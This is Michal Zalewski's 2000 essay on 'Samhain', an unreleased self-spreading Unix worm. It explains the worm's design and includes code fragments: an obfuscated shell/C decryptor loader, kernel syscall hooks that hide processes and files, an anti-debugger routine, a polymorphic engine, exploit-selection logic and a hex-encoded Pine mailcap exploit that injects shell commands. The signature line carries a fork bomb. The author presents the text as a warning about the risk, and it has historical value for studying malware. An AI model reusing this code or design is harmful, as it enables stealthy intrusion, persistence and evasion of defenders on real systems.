=============================================================================
                     "I don't think I really love you"
=============================================================================

               or writting internet worms for fun and profit

                 (C) 2000 Michal Zalewski <lcamtuf@tpi.pl>


0x00: Preface
-----------------------------------------------------------------------------

Media, kindly supported by AV "experts", drawn apocalyptical vison of
desctruction caused by stupid M$ Outlook / VisualBasic worm, called
"ILOVEYOU". Absurdal estimations - $10M lost for "defending the disease",
especially when you take a look at increasing with the speed of light value of
AV companies market shares, made many people sick. Lame VBS application that
isn't even able to spread without luser click-me interaction, and is limited
to one, desk-end operating system... Worm that sends itself to people in your
addressbook, and, in it's original version, kills mp3 files on your disk [1].
And you call it dangerous? Stop kidding.

Over year ago, with couple of friends, we started writing a project, called
'Samhain' (days ago, on packetstorm, I noticed cute program with same name -
in fact it's not the same app, just a coincidence ;). We wanted to see if
it's difficult to write deadly harmful Internet worm, probably much more
dangerous than Morris's worm. Our goals:

1: Portability - worm must be architecture-independent, and should work on
   different operating systems (in fact, we focused on Unix/Unix-alikes, but
   developed even DOS/Win code).

2: Invisibility - worm must implement stealth/masquerading techniques to hide
   itself in live system and stay undetected as long as it's possible.

3: Independence - worm must be able to spread autonomically, with no user
   interaction, using built-in exploit database.

4: Learning - worm should be able to learn new exploits and techniques
   instantly; by launching one instance of updated worm, all other worms,
   using special communication channels (wormnet), should download updated
   version.

5: Integrity - single worms and wormnet structure should be really difficult
   to trace and modify/intrude/kill (encryption, signing).

6: Polymorphism - worm should be fully polymorphic, with no constant
   portion of (specific) code, to avoid detection.

7: Usability - worm should be able to realize choosen mission objectives -
   eg. infect choosen system, then download instructions, and, when
   mission is completed, simply disappear from all systems.

With these seven simple principles, we started our work. This text describes
our ideas, concepts and implementation issues. It is NOT the terrorist's
handbook, and has not been written to help people to write such piece of code
on their own. It's written to show that very serious potential risk, which
we virtually can't avoid or stop, isn't only hypotetical. Code provided here
is partial, often comes from first, instead of most recent, Samhain release
and so on. But remember - working model has been written. And this model is
deadly dangerous engine, which can be used to very, very bad things. Probably
we aren't the first people who thought about it and tried to write it, that's
what make us scared...

Winter 1998, three bored people somewhere in the middle of Europe.
Sit and relax.


0x01: Portability
-----------------------------------------------------------------------------

This is probably the most important thing - we don't want code that can run
only on Windows, Linux or Solaris, or - worse - can run only on x86. The
task is quite easy to complete if you decide to spread your code in
platform-independent form. How could it be achieved? Well, most of systems
have C compiler :) So we might spread worm in source code, with simple
decryptor (let's say it will be shell script).

But wait, some (not much) systems don't have C compiler. What can we do? Using
wormnet, worm during infection might ask other wormnet members for compiled
binary for given platform. Wormnet details have been described in section 0x04.
Anyway, binary will contain appended source code, to make futher infections
possible within standard procedure. Infection scheme is described in section
0x03.

First version of our decryptor looked like this:

const char decryptor[]="#!/bin/bash\nX=/tmp/.$RANDOM$$\n(dd if=\"$0\" of="
"$X.f~ ibs=1 skip=\x01\x01\x01\x01 count=\x02\x02\x02\x02\x02\x02 ;dd if="
"\"$0\" of=$X.b~ ibs=\x03\x03\x03\x03\x03 skip=1;echo \"int x;main(int c,"
"char**v){char a[99999];int i=read(0,a,99999);for(;x<i;)a[x++]-=atoi(v[1]"
");write(1,a,i);}\" >$X.d~;test -x /tmp/.a012382~||cc -x c $X.d~-o/\tmp/."
"a012382~;/tmp/.a012382~ \x04\x04\x04 <$X.f~>$X.gz~;gzip -cd <$X.gz~>$X.c"
"~;rm -f $X.f~ $X.d~;cc -O3 -x c $X.c~ -o $X~;chmod 755 /tmp/.a012382~)&>"
"/dev/null;test -x \"$0\"&&exec $X~ \"$0\" $@\n";

It used very simple (per-byte increments) "encryption" for source code with
custom increment value (decryptor has been modified accordingly to choosen
value - \x01, \x02, \x03 and \x04 are changed by encryptor routine). Also,
this constant decryptor has been every time re-written using simple
polymorphic engine (see section 0x06) to avoid constant strings. Later, we
modified encryption routine to something little bit stronger (based on
logistic equation number generator in chaotical window) - in fact, it
only makes it more difficult to detect in inactive form.

As you can see, this decryptor (or it's early version shown above) isn't
highly-portable - what if we don't have bash, compiler, gzip or such
utilities? Well, that's one of reasons we've decided to join worms in
wormnet - if sent code won't connect back to parent and report itself,
host is not marked as infected, and wormnet is asked for pre-compiled
binary for given architecture (assuming we already infected this architecture
somewhere in the world, and we had needed utilities, or we're running the
same architecture as infected host).

NOTE: For writting extremely ugly code that can run in DOS, [ba]sh, csh,
perl etc and can be compiled with C in the same time, please refer IOCCC
archives [2].

Sebastian wrote virus code that can spread both on Windows/DOS platform with
C compiler and Unix systems with no modifications nor any interaction. It
does cross-partition infections and installs itself as compiler trojan
(modifying include files to put evil instructions in every compiled
source). It is called Califax and has been developed while writting Samhain,
as an excercise to prove that such cross-system jumps are possible. I don't
want to include Sebastian's sources with no permission, all I want to say
is he did it within 415 lines of c code :) Califax hasn't been incorporated
within Samhain project, as we don't want to infect Winbloze for ideological
reasons :P


0x02: Invisibility
-----------------------------------------------------------------------------

After breaking into remote system, worm not always have root privledges, so
first of all, we wanted to implement some techniques to hide it, make it
look-like any other process in system, and make it hard to kill until
there's a chance to gain higher privledges (for details on system intrusion,
please refer section 0x03). Also, we made sure it's really hard to
debug/trace running or even inactive worm - please refer section 0x05 for
anti-debug code details.

Our non-privledged process masquerading code consists of following parts:

- masquerading: walk through /proc, choose set of common process names and
  change your name to look just like one of them,

- cyclic changes: change your name (and executable name) as well as pid
  frequently; while doing it, always keep 'mirror' process, in case parent
  or child get killed by walking skill-alike programs,

Our goal is to make almost impossible (with common tools) to 'catch' process,
as all /proc parameters (pid, exe name, argv[0]) are changing, and even if
one of them is catched, we have 'mirror' project. Of course, at first we
should avoid such attempts by camouflage.  This comment comes from libworm
README for Unices:

-- snip from README --

a) Anti-scanning routines

Following routines are provided to detect anti-worm stuff, like 'kill2'
or anything smarter. You should use them before fork()ing:

int bscan(int lifetime);

  bscan performs 'brief scanning' using only 2 childs. Lifetime should
  be set to something about 1000 microseconds. Return values:
  0 - no anti-worm stuff detected, please use ascan or wscan.
  1 - dumb anti-worm stuff detected (like 'kill2'); use kill2fork()
  2 - smart (or brute) stuff detected, wait patiently

int ascan(int childs,int lifetime);

  ascan performs 'advanced scanning' using given number of childs
  (values between 2 and 5 are suggested). It tests environment
  using 'fake forkbomb' scenario. Results are more accurate:
  0 - no anti-worm stuff detected (you might use wscan())
  1 - anti-worm stuff in operation

int wscan(int childs,int lifetime);

  wscan acts like ascan, but uses 'walking process' scenario. It
  seems to be buggy, accidentally returning '1' with no reason,
  but it's also the best detection method. Return values:
  0 - no anti-worm stuff detected
  1 - anti-worm stuff in operation

int kill2fork();

  This is aletrnative version of fork(), designed to fool
  dumb anti-worm software (use it when bscan returns 1).
  Return value: similar as for fork().

b) Masquerading routines

These routines are designed to masquerade and hide current
process:

int collect_names(int how_many);

  collect_names builds process names table with up to
  'how_many' records. This table (accessible via
  'cmdlines[]' array) contains names of processes in
  system; Return value: number of collected items.

void free_names();

  this function frees space allocated by collect_names
  when you don't need cmdlines[] anymore.

int get_real_name(char* buf, int cap);

  this function gets real name of executable for current
  process to buf (where cap means 'maximal length').

int set_name_and_loop_to_main(char* newname,char* newexec);

  this function changes 'visible name' of process to newname
  (you may select something from cmdlines[]), then changes
  real executable name to 'newexec', and loops to the
  beginning of main() function. PID will be NOT changed.
  Set 'newexec' to NULL if you don't want to change real exec
  name. Return value: non-zero on error.

  Note: variables, stack and anything else will be reset. Please
  use other way (pipes, files, filenames, process name) to
  transfer data from old to new executable

int zero_loop(char* a0);

  this function returns '1' if this main() code is reached for
  the first time, or '0' if set_name_and_loop_to_main() was
  used. Pass argv[0] as parameter. It simply checks if
  real_exec_name is present in argv[0].

-- EOF --

For more details and source code on architecture-independent non-root
process hiding techniques, please refer libworm sources [3] (incomplete
for now, but always something).

This routines are weak and might be used only for short-term process
hiding. We should as fast as possible gain root access (again, this
aspect will be discussed later). Then, we have probably the most complex
aspect of whole worm. Advanced process hiding is highly system-dependent,
usually done by intercepting system calls. We have developed source for
universal hiding modules on some systems, but it not working on every
platform Samhain might attack. Techniques used there are based on well-known
kernel file and process hiding modules.

Our Linux 2.0/2.1 (2.2 and 2.3 kernels weren't known at the time ;) our
module used technique later described in "abtrom" article on BUGTRAQ by
<riq@CIUDAD.COM.AR> (Sat, 28 Aug 1999 14:40:31) to intercept syscalls [4].
Sebastian wrote stealth file techniques (to return original contents of
eventually infected files), while I developed process hiding and worm
interface. Module intercepted open, lseek, llseek, mmap, fstat, stat,
lstat, kill, ptrace, close, read, unlink, write and execve calls.

For example, new llseek call look this way:

int new_llseek(unsigned int fd,unsigned int offset_high,
               unsigned int offset_low,int *result,unsigned int whence) {
  retval=old_llseek(fd,offset_high,offset_low,result,whence);
  if (retval<0) return retval;
  if (!(file=current->files->fd[fd])) return retval;
  if (S_ISREG(file->f_inode->i_mode) || S_ISLNK(file->f_inode->i_mode))
    if (is_happy(fd) && file->f_pos < SAMLEN) file->f_pos += SAMLEN;
  return retval;
}

In this case, we wanted to skip samhain code loader at the beginning
of file. is_happy() function has been used to identify infected files.
Unfortunately, it also has to check length of this loader - remember,
it's dynamically generated. This is code from is_happy() used to determine
this size from our decryptor routine:

    // Determine where ELF starts...
    file->f_pos=0;
    BEGIN_KMEM
    r=file->f_op->read(file->f_inode, file, buf,sizeof(buf));
    END_KMEM
    // Groah! We have to write out own atoi... Stupido ;-)
    znaki=0;
    while (znaki!=TH && ++v<r) if (buf[v]=='=') znaki++;
    if (znaki==TH) {
      while (buf[v+(++poz)]!=' ' && v+poz<r) mult=mult*10;
      buf[v+poz]=0;
      poz=1;
      SAMLEN=0;
      while (buf[v+poz]) {
        if (buf[v+poz]-'0'>9) { znaki=1;break; } // Format error (!)
        SAMLEN+=(buf[v+poz++]-'0')*mult;
        mult=mult/10;
      }

Worm isn't spreading across the filesystem widely, so the problem doesn't
affect many files - only some executables called in boot process - to
make sure we're always resident. Process hiding is quite generic:

int new_ptrace(int req,int pid,int addr,int dat) {
  x=0;
  buf[20]=0;
  sprintf(b,"/proc/%d/cmdline",pid);
  if (active)
    BEGIN_KMEM
    x=old_open(b,O_RDONLY,0);
    END_KMEM
  if (x>0) {
    BEGIN_KMEM
    read(x,b,1);
    END_KMEM
    close(x);
    if (!b[0]) return -ESRCH;
  }
  return old_ptrace(req,pid,addr,dat);
}

Also, we have to hide active network connections for wormnet and sent /
received wormnet packets to avoid detection via tcpdump, sniffit etc.

That's it, nothing uncommon. Similar code has been written for some other
platforms. See my AFHaRM or Sebastian's Adore modules for implementation
of stealth techniques [5].


0x03: Independence + 0x04: Learning
-----------------------------------------------------------------------------

Wormnet. The magic word. Wormnet is used to distribute upgraded Samhain
modules (eg. new exploit plugins), and to query other worms for compiled
binaries. Communication scheme isn't really difficult, using TCP streams
and broadcast messages within TCP streams. Connections are persistent.
We have four types of requests:

- infection confirmation: done simply by connecting to parent worm
  if infection succeded (no connection == failure),

- update request: done by re-infecting system (in this case, already installed
  worm verifies signature on new worm when receiving request, then swaps
  process image by doing execve() if requesting binary has newer timestamp),
  then inheriting wormnet connections table and sending short request to
  connected clients, containing code timestamp.

- update confirmation: if timestamp sent on update request is newer than
  timestamp of currently running worm, it should respond with 'confirmation',
  then download new code via the same tcp stream; then, it should verify
  code signature, and eventually swap it's process image with new exec, then
  send update request to connected worms.

- platform request: by sending request to every connected worm (TTL
  mechanism is in use) describing machine type, system type and system
  release, as well as IP and port specification; this request is sent
  (with decreased TTL) to other connected wormnet objects, causing
  wormnet broadcast; first worm that can provide specific binary, should
  respond connecting to given IP and port, and worm that sent platform
  request should accept it (once). Any futher connects() (might happen
  till TTL expiration) should be refused. After connecting, suitable
  binary should be sent, then passed to infection routines. Worm should
  try first with TTL approx 5, then, on failure, might increase it by 5
  and retry 3-5 times, we haven't idea about optimal values.

Packets are "crypted" (again, nothing really strong, security by obscurity)
with key assigned to specific connection (derived from parent IP address
passed on infection). Type is described by one-byte field, then followed by
size field and RAW data or null-terminated strings, eventually with
TTL/timestamp fields (depending on type of message).

Wormnet connections structure looks arbitrary and is limited only
by max per-worm connections limit. Connections are initiated from child to
parent worm, usually bypassing firewall and masquerading software.

On infection, short 'wormnet history' list is passed to child. If parent
has too many wormnet connections at time, and refuses new connection,
child should connect to worm from the history list.

          3
          |
          |
  3 ----- 2 ---- 3 ----- 4 ------- 5 ------- 6
  |     /        |                 |
  |   /          |                 |
  | /            |                 |    Possible wormnet structure.
  1 ------------ 2 ----- 3         6    Numbers represent infection
    \                  /      order. Bottom "3" couldn't
      \              /        for some reason connect to
        \          /                            it's parent and choosen
          \ ---- 3 ------ 4                     "1" from 'history list'.
                 |
                 |
                 |
                 4

What about exploits? Exploits are modular (plugged into worm body), and
divided in two sections - local and remote. We wanted to be platform
independent, so we focused on filesystem races, bugs like -xkbdir hole in
Xwindows, and inserted just a few buffer overflows, mainly for remote
intrusion (but we decided to incorporate some bugs like remote pine mailcap
exploit and so on... Code was kind of shell-quoting masterpiece ;)

Pine mailcap exploit (it has been already fixed after my BUGTRAQ post,
but in late 1998 it was something new and nice):

fprintf(f,"From: \"%s\" <%s@%s>\n",nam,us,buf2);
fprintf(f,"To: <root@%s>\n",hostname);
fprintf(f,"Subject: %s\n",top);
fprintf(f,"MIME-Version: 1.0\n");
fprintf(f,"Content-Type: multipart/mixed;\n");
fprintf(f,"\tboundary=\"----=_NextPart_000_0007_01BD5F09.B6797740\"\n\n");
fprintf(f,"------=_NextPart_000_0007_01BD5F09.B6797740\n");
fprintf(f,"Content-Type: default/text;\n\t");

fprintf(f,"\x65\x6e\x63\x6f\x64\x69\x6e\x67\x3d\x22\x5c\x5c\x5c\x22\x78\x5c"
        "\x5c\x5c\x22\x5c\x20\x3d\x3d\x5c\x20\x5c\x5c\x5c\x22\x78\x5c\x5c"
        "\x5c\x22\x5c\x20\x5c\x29\x5c\x20\x73\x68\x5c\x20\x2d\x63\x5c\x20"
        "\x65\x63\x68\x6f\x5c\x24\x5c\x49\x46\x53\x5c\x5c\x5c\x66\x6f\x72"
        "\x5c\x24\x5c\x49\x46\x53\x5c\x5c\x5c\x69\x5c\x24\x5c\x49\x46\x53"
        "\x5c\x5c\x5c\x69\x6e\x5c\x24\x5c\x49\x46\x53\x5c\x60\x6c\x73\x5c"
        "\x24\x49\x46\x53\x2f\x74\x6d\x70\x2f\x5c\x60\x5c\x24\x5c\x49\x46"
        "\x53\x5c\x5c\x5c\x3b\x5c\x24\x5c\x49\x46\x53\x5c\x5c\x5c\x64\x6f"
        "\x5c\x24\x5c\x49\x46\x53\x5c\x5c\x5c\x73\x68\x5c\x24\x5c\x49\x46"
        "\x53\x5c\x5c\x5c\x2f\x74\x6d\x70\x2f\x5c\x5c\x5c\x24\x69\x5c\x24"
        "\x5c\x49\x46\x53\x5c\x5c\x5c\x3b\x64\x6f\x6e\x65\x26\x3e\x2f\x74"
        "\x6d\x70\x2f\x2e\x4b\x45\x57\x4c\x3b\x5c\x73\x68\x5c\x24\x49\x46"
        "\x53\x5c\x5c\x5c\x2f\x74\x6d\x70\x2f\x2e\x4b\x45\x57\x4c\x22\x0A");

// 'encoding="\\\"x\\\"\ ==\ \\\"x\\\"\ \)\ sh\ -c\ echo\$\IFS\\\for'
// '\$\IFS\\\i\$\IFS\\\in\$\IFS\`ls\$IFS/tmp/\`\$\IFS\\\;\$\IFS\\\do'
// '\$\IFS\\\sh\$\IFS\\\/tmp/\\\$i\$\IFS\\\;done&>/tmp/.KEWL;\sh\$IF'
// 'S\\\/tmp/.KEWL"'

Message body contained code to be executed (shell-script to connect,
download and run worm, then kill any evidence). Yes, this exploit sucks
- as it required some kind of user interaction (reading e-mail), but
is just an example.

Both remote and local exploits are sorted by effectiveness. Exploits that
succed most of the time are tried first. Less effective ones are moved
at the end. This list is inherited by child worms.

Oh, spreading. Victims are choosen by monitoring active network connections.
With random probability, servers are picked from this list and attacked.
In case of success, server is added to 'visited' list - these are not
attacked anymore. In case of failure, server is not attacked until new
version of worm is uploaded. Of course, internal servers list is finite
and sometimes server might be attacked again (if it's not our child and
it isn't currently connected), but who cares, attempt will be ignored or
upgrade procedure will happen, depending on timestamps.

This code is used to qualify host (obtained from network stats):

void infect_host(int addr) {
  struct hostent* h;
  int (*exp)(char*);
  int i=0,n=0,max=VERY_SMALL;
  if ((0x7F & addr)==0x7F) return;      // do not touch 127.* subnet :-)
  h=gethostbyaddr((void*)&addr,4,AF_INET);
  if (is_host_happy(h->h_name)) return; // In wormnet?
  for (i=0;remote[i].present;i++) remote[i].used=0;
  while ((max=VERY_SMALL)) {
    n=-1;
    for (i=0;remote[i].present;i++)
      if (!remote[i].used && remote[i].hits>=max) { max=remote[i].hits;n=i; }
    if (n<0) break;
    exp=remote[n].handler;
    remote[n].used=1;
    current_module=n;
    remote[n].hits+=(i=exp(h->h_name));
    if (i>0) break;
  }
}



0x05: Integrity
-----------------------------------------------------------------------------

The most important thing in worm's life is not to get caught. We have to be
sure it's not easy to trace/debug us - we want to make reverse-engineering
even harder. We don't want to expose our internal wormnet protocols,
communication with kernel module and detection techniques used by worms to
check for themselves, etc. Four things:

- hide everything: see section 0x02.
- hash, crypt, scramble: see sections 0x01, 0x04.
- don't let them caught you: see section 0x02.
- avoid debugging even if we cannot hide!

We used several anti-debugger techniques, including application-dependent
(bugs in strace on displaying some invalid parameters to syscalls, bugs in
gdb while parsing elf headers, ommiting frame pointer, self-modyfing code
and so on), as well as some universal debugger-killer routines called
quite often (they aren't really time-expensive). This is one of them:

void kill_debug(void) {
  int x,n;
  n=getppid();
  if (!(x=fork())) {
    x=getppid();
    if (ptrace(PTRACE_ATTACH,x,0,0)) {
      fprintf(stderr,
          "\n\n\n*****************************************\n"
                "*** I REALLY DO NOT LIKE TO BE TRACED ***\n"
                "*****************************************\n\n\n");
      ptrace(PTRACE_ATTACH,n,0,0);
      kill(x,9);
    }
    usleep(1000);
    ptrace(PTRACE_DETACH,x,0,0);
    exit(0);
  }
  waitpid(x,&n,0);
  return;
}

As I told before, worm modules were signed. First, using simple signatures,
then using simple private key signing (not really difficult to crack, as
key was relatively short, but for sure too difficult for amateurs). This
made us sure we're going to replace our worm image with REAL worm, not
dummy anti-worm flare.

0x06: Polymorphism
-----------------------------------------------------------------------------

Polymorphic engine was quite simple - designed to make sure our decryptor
will be different every time. As it has been written in shell language, it
was pretty easy to add bogus commands, insert empty shell variables, add
\ and break contents, or even replace some parts with $SHELL_VARIABLES
declared before. Getting original content is not quite easy, but of course,
all you have to do is to imitate shell parsing of this decryptor to get
original contents, then you'll be able to identify at least some common
code.

Code adding \ to decryptor looks like:

  while (decryptor[x]) {
    switch (decryptor[x]) {
      case ' ':
        if (!rnd(2)) buf[y++]=' '; else goto difolt;
        break;
      case '\n':
        if (!you_can) you_can=1;
      default:
      difolt:
        if ((you_can && you_can++>1) && !rnd(10) && decryptor[x]>5 &&
             decryptor[x]!='>' && decryptor[x]!='<' && norm>2) {
          buf[y++]='\\';buf[y++]=10;norm=0;
        } else {buf[y++]=decryptor[x++];norm++;}
    }
  }


0x07: Usability
-----------------------------------------------------------------------------

It's stupid to launch worm designed eg. to steal secret information from
specific host, because we have no idea if it will work fine, and won't be
caught. If so, it might be debugged (it's made to be hard to debug, but,
as every program, it's not impossible to do it, especially if you're able
to separate worm code). Instead, we should be able to release 'harmless'
worm, then, when we're sure it accessed interesting host and haven't been
caught, we might send an update, which will try to reach destination worm,
replace it with our evil code, then shut down every worm it can access via
wormnet (by sending signed update, that will send itself to other worms,
then shut down).

Maybe it isn't the perfect solution, but in fact it's probably much safer
than inserting even generic backdoor code by default.


0x08: What happened then?
-----------------------------------------------------------------------------

That's it, the Samhain project, fit into approx. 40 kB of code. What
happened to it? Nothing. It hasn't been ever released, and I never removed
restrictions from lookup_victim() and infect_host() routines. It's still
lying on my hard drive, getting covered with dust and oblivion, and that's
extacly what we wanted.

I stopped developing new code and testing it in January, 1999, with Samhain
2.2 and approx. 10000 lines of code. Wojtek Bojdol has been developing his
much more advanced wormnet and system infection/monitoring code till February
or March, but I haven't found enough time to incorporate his sources within
mainstream source tree. Then, we removed our repository from networked server
we used to exchange ideas. I gradually published some bugs used in exploit
database to BUGTRAQ, some of them (especially those not discovered by me)
we kept for ourselves.

The story ends. Till another rainy day, till another three bored hackers.
You may be sure it will happen. The only thing you can't be sure is the
end of next story.


0x09: References
-----------------------------------------------------------------------------

[1] ILOVEYOU worm:
    Dramatical headlines:
    + http://www.cnn.com/2000/TECH/computing/05/04/iloveyou.03/
    Technical analysis:
    + http://www.securityfocus.com/templates/article.html?id=30
    Source of "ILOVEYOU" worm:
    + http://packetstorm.securify.com/viral-db/love-letter-source.txt

[2] International Obfuscated C Code Contest archives:
    + http://www.ioccc.org

[3] Libworm - unprivledged process hiding techniques:
    + http://lcamtuf.na.export.pl/pliki/libworm.tgz

[4] "yet another article about stealth modules in linux"
    + http://www.securityfocus.com/templates/archive.pike?list=1&date=1999-08-22&msg=19990828144031.A20936@richi.bombi.net

[5] Advanced File Hide and Redirect Module (in fact, old and lame ;)
    + http://lcamtuf.na.export.pl/pliki/afharm.zip
    Adore
    + ???

0x0f: Outro
-----------------------------------------------------------------------------

First of all, all the best goes to Maja :)

Then, I'd especially like to thank people involved in the Samhain project, as
well as other people who helped me these times to understand life, universe
and everything:

Wojciech Bojdol ...................................................... wojboj
Sebastian Krahmer ................................................... stealth
Krzysztof G. Baranowski ................................................. kgb
Rafal Wojtczuk ....................................................... nergal
Slawomir Krawczyk .................................................... nises2
Mariusz Woloszyn ...................................................... kil3r
Mariusz Marcinkiewicz .................................................. manY

Also, I'd like to thank all the teso, HERT, lam3rz, A18 and b0f people. Thank
you, agnes, for good will and patience. Last, but not least, best wishes to
Solar Designer (thanks for interesting ideas and constructive critics).

Any mistakes in this text are solely my fault. I'm really sorry for my
not-good-as-I-wish english, you have to deal with it, or correct me :)
I'd appreciate it.

This text has been written in 6 hours at late Sunday night.

Please send flames, ideas and 'h0w t0 kr4ck p4ssw0rdz' to <lcamtuf@tpi.pl>
or <lcamtuf@dione.ids.pl>. This document is available at:

http://lcamtuf.na.export.pl/worm.txt

--

October, 31 - Samhain (pronounced sow-inn) - this is time of endings and
time of beginnings - so at Samhain, we celebrate the New Year. This is a
quieter time, a time when the veil between worlds is thin and the spirits
may pass more easily. At Mabon, the God Lugh died in order for us to live
through His abundance. During the intervening time, He has gathered the
spirits of those that have died over the year and waits for this night so
that they may pass through the gate to the other side. This is the time to
revere our ancestors and to say farewell to those that have passed this last
year. It is also a time of divination. The abundance of the fields now gives
way to the power and strength of the Horned God of the Hunt. This begins a
time of darkness. From now until Yule, the days grow darker and colder.
Winter storms begin to sweep down from the north.

_______________________________________________________
Michal Zalewski [lcamtuf@tpi.pl] [tp.internet/security]
[http://lcamtuf.na.export.pl] <=--=> bash$ :(){ :|:&};:
=-----=> God is real, unless declared integer. <=-----=